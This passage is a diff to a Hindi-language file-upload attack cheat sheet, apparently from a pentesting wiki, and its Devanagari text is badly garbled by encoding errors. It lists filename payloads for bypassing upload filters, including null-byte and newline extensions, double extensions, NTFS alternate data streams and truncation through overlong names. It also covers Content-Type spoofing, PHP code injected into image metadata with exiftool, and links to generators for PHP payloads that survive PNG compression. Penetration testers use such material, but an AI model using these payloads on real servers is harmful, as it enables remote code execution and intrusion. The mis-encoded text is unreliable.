_**рдХрд╛рд░реНрдпрдХрд╛рд░реА рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдорд╛рдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреЛрдбрд╝рдиреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ** (рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ):_ - _file.png.php_ - _file.png.Php5_ -3. **рдЕрдВрдд рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред** рдЖрдк рд╕рднреА **ascii** рдФрд░ **Unicode** рд╡рд░реНрдгреЛрдВ рдХреЛ **bruteforce** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкрд┐рдЫрд▓реЗ** рдЙрд▓реНрд▓реЗрдЦрд┐рдд **рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_) +3. **рдЕрдВрдд рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред** рдЖрдк рд╕рднреА **ascii** рдФрд░ **Unicode** рд╡рд░реНрдгреЛрдВ рдХреЛ **bruteforce** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкрд┐рдЫрд▓реЗ** рдЙрд▓реНрд▓реЗрдЦрд┐рдд **рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. **рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд╛рд░реНрд╕рд░ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдХрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдЬреИрд╕реЗ рдХрд┐ **рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдбрдмрд▓ рдХрд░рдирд╛** рдпрд╛ **рдЬрдВрдХ** рдбреЗрдЯрд╛ (**null** рдмрд╛рдЗрдЯреНрд╕) рдХреЛ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдЬреЛрдбрд╝рдирд╛ред _рдЖрдк рдмреЗрд╣рддрд░ рдкреЗрд▓реЛрдб рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ._ +4. **рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд╛рд░реНрд╕рд░ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдХрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдЬреИрд╕реЗ рдХрд┐ **рдбрдмрд▓рд┐рдВрдЧ** **рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдпрд╛ **рдЬрдВрдХ** рдбреЗрдЯрд╛ (**null** рдмрд╛рдЗрдЯреНрд╕) рдХреЛ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдЬреЛрдбрд╝рдирд╛ред _рдЖрдк рдмреЗрд╣рддрд░ рдкреЗрд▓реЛрдб рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,26 +40,26 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. рдкрд┐рдЫрд▓реЗ рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП **рдПрдХ рдФрд░ рдкрд░рдд рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдЬреЛрдбрд╝реЗрдВ: +5. рдкрд┐рдЫрд▓реЗ рдЬрд╛рдВрдЪ рдореЗрдВ **рдПрдХ рдФрд░ рдкрд░рдд рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ** рдХреЛ рдЬреЛрдбрд╝реЗрдВ: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **рдорд╛рдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ exec рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдбрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдФрд░ рдкреНрд░рд╛рд░реНрдердирд╛ рдХрд░реЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред (Apache рдХреА рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдВ рдХреЛрдИ рднреА рдПрдХреНрд╕рдЯреЗрдВрд╢рди **.php** рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛): +6. **рдорд╛рдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ exec рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдбрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдФрд░ рдкреНрд░рд╛рд░реНрдердирд╛ рдХрд░реЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред (Apache рдХреА рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдВ **.php** рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдХреБрдЫ рднреА, рд▓реЗрдХрд┐рди **рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ .php** рдореЗрдВ рд╕рдорд╛рдкреНрдд рд╣реЛ, рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛): - _ex: file.php.png_ -7. **Windows рдореЗрдВ NTFS рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рдХреЙрд▓рди рд╡рд░реНрдг тАЬ:тАЭ рдПрдХ рдирд┐рд╖рд┐рджреНрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдмрд╛рдж рдФрд░ рдПрдХ рдЕрдиреБрдордд рдХреЗ рдкрд╣рд▓реЗ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ **рдирд┐рд╖рд┐рджреНрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓** рдмрдирд╛рдИ рдЬрд╛рдПрдЧреА (рдЬреИрд╕реЗ тАЬfile.asax:.jpgтАЭ)ред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрд╛рдж рдореЗрдВ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕рдХреЗ рдЫреЛрдЯреЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред тАЬ**::$data**тАЭ рдкреИрдЯрд░реНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдЧреИрд░-рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЗ рдмрд╛рдж рдПрдХ рдбреЙрдЯ рд╡рд░реНрдг рдЬреЛрдбрд╝рдирд╛ рдЖрдЧреЗ рдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ тАЬfile.asp::$data.тАЭ) -8. рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕реАрдорд╛рдУрдВ рдХреЛ рддреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдорд╛рдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрдЯ рдЬрд╛рддрд╛ рд╣реИред рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг PHP рдмрдЪ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php +7. **Windows рдореЗрдВ NTFS рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рдХреЙрд▓рди рд╡рд░реНрдг тАЬ:тАЭ рдПрдХ рдирд┐рд╖рд┐рджреНрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдмрд╛рдж рдФрд░ рдПрдХ рдЕрдиреБрдордд рдХреЗ рдкрд╣рд▓реЗ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ **рдирд┐рд╖рд┐рджреНрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХреЗ рд╕рд╛рде рдПрдХ **рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓** рдмрдирд╛рдИ рдЬрд╛рдПрдЧреА (рдЬреИрд╕реЗ тАЬfile.asax:.jpgтАЭ)ред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрд╛рдж рдореЗрдВ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕рдХреЗ рдЫреЛрдЯреЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред тАЬ**::$data**тАЭ рдкреИрдЯрд░реНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдЧреИрд░-рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЗ рдмрд╛рдж рдПрдХ рдбреЙрдЯ рд╡рд░реНрдг рдЬреЛрдбрд╝рдирд╛ рдЖрдЧреЗ рдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (.e.g. тАЬfile.asp::$data.тАЭ) +8. рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕реАрдорд╛рдУрдВ рдХреЛ рддреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдорд╛рдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрдЯ рдЬрд╛рддрд╛ рд╣реИред рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг PHP рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php ``` # Linux рдЕрдзрд┐рдХрддрдо 255 рдмрд╛рдЗрдЯ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # рдпрд╣рд╛рдБ 4 рдШрдЯрд╛рдПрдВ рдФрд░ .png рдЬреЛрдбрд╝реЗрдВ -# рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рдХрд┐рддрдиреЗ рд╡рд░реНрдгреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдорд╛рди рд▓реАрдЬрд┐рдП 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # рдпрд╣рд╛рдБ 4 рдШрдЯрд╛рдПрдВ рдФрд░ .png рдЬреЛрдбрд╝реЗрдВ +# рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдХрд┐ рдпрд╣ рдХрд┐рддрдиреЗ рд╡рд░реНрдгреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдорд╛рди рд▓реАрдЬрд┐рдП 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # рдкреЗрд▓реЛрдб рдмрдирд╛рдПрдВ AAA<--SNIP 232 A-->AAA.php.png ``` -### рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░, рдЬрд╛рджреБрдИ рд╕рдВрдЦреНрдпрд╛, рд╕рдВрдкреАрдбрд╝рди рдФрд░ рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ +### рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░, рдЬрд╛рджреБрдИ рд╕рдВрдЦреНрдпрд╛, рд╕рдВрдХреБрдЪрди рдФрд░ рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ - **Content-Type** рдЬрд╛рдВрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ **Content-Type** **header** рдХреЗ **рдорд╛рди** рдХреЛ рд╕реЗрдЯ рдХрд░рдХреЗ: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **рд╢рдмреНрджрдХреЛрд╢**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) @@ -67,34 +67,34 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- рдпрджрд┐ рдЖрдкрдХреА рдЫрд╡рд┐ рдореЗрдВ **рд╕рдВрдкреАрдбрд╝рди рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдорд╛рдирдХ PHP рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬреИрд╕реЗ [PHP-GD](https://www.php.net/manual/fr/book.image.php), рддреЛ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХреЗрдВ рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **PLTE рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреБрдЫ рдкрд╛рда рдЬреЛ **рд╕рдВрдкреАрдбрд╝рди** рдХреЛ **рдмрдЪрд╛рдП**ред +- рдпрджрд┐ рдЖрдкрдХреА рдЫрд╡рд┐ рдореЗрдВ **рд╕рдВрдХреБрдЪрди рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдорд╛рдирдХ PHP рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬреИрд╕реЗ [PHP-GD](https://www.php.net/manual/fr/book.image.php), рддреЛ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХреЗрдВ рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **PLTE рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдкрд╛рда рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╕рдВрдХреБрдЪрди** рдХреЛ **рдмрдЪрд╛рдПрдЧрд╛**ред - [**рдХреЛрдб рдХреЗ рд╕рд╛рде Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- рд╡реЗрдм рдкреГрд╖реНрда **рдЫрд╡рд┐** рдХрд╛ **рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдлрд╝рдВрдХреНрд╢рдВрд╕ `imagecopyresized` рдпрд╛ `imagecopyresampled` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **IDAT рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреБрдЫ рдкрд╛рда рдЬреЛ **рд╕рдВрдкреАрдбрд╝рди** рдХреЛ **рдмрдЪрд╛рдП**ред +- рд╡реЗрдм рдкреГрд╖реНрда **рдЫрд╡рд┐** рдХрд╛ **рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдлрд╝рдВрдХреНрд╢рдВрд╕ `imagecopyresized` рдпрд╛ `imagecopyresampled` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **IDAT рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдкрд╛рда рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╕рдВрдХреБрдЪрди** рдХреЛ **рдмрдЪрд╛рдПрдЧрд╛**ред - [**рдХреЛрдб рдХреЗ рд╕рд╛рде Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- рдПрдХ рдФрд░ рддрдХрдиреАрдХ рдЬреЛ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рдЫрд╡рд┐ рдХреЗ рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ** рдХреЛ **рдмрдЪрд╛рддреА** рд╣реИ, PHP-GD рдлрд╝рдВрдХреНрд╢рди `thumbnailImage` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **tEXt рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреБрдЫ рдкрд╛рда рдЬреЛ **рд╕рдВрдкреАрдбрд╝рди** рдХреЛ **рдмрдЪрд╛рдП**ред +- рдПрдХ рдФрд░ рддрдХрдиреАрдХ рдЬреЛ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ **рдЫрд╡рд┐ рдХреЗ рдЖрдХрд╛рд░ рдмрджрд▓рдиреЗ** рдХреЛ **рдмрдЪрд╛рдПрдЧрд╛**, PHP-GD рдлрд╝рдВрдХреНрд╢рди `thumbnailImage` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк **tEXt рдЦрдВрдб** [**рдпрд╣рд╛рдБ рдкрд░рд┐рднрд╛рд╖рд┐рдд рддрдХрдиреАрдХ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдкрд╛рда рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╕рдВрдХреБрдЪрди** рдХреЛ **рдмрдЪрд╛рдПрдЧрд╛**ред - [**рдХреЛрдб рдХреЗ рд╕рд╛рде Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### рдЕрдиреНрдп рдЯреНрд░рд┐рдХреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ - рдкрд╣рд▓реЗ рд╕реЗ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо **рдмрджрд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рдПрдХ рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреЗрдВ (рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП)ред -- рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рди** рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреЗрдВред +- рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢** рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреЗрдВред - **рд╕рдВрднрд╛рд╡рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛**: -1. **рдПрдХ рд╣реА рдирд╛рдо** рдХреЗ рд╕рд╛рде **рдПрдХ рд╣реА рдлрд╝рд╛рдЗрд▓** рдХреЛ **рдХрдИ рдмрд╛рд░** (рдФрд░ **рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ**) рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред -2. **рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж** рдлрд╝рд╛рдЗрд▓ рдпрд╛ 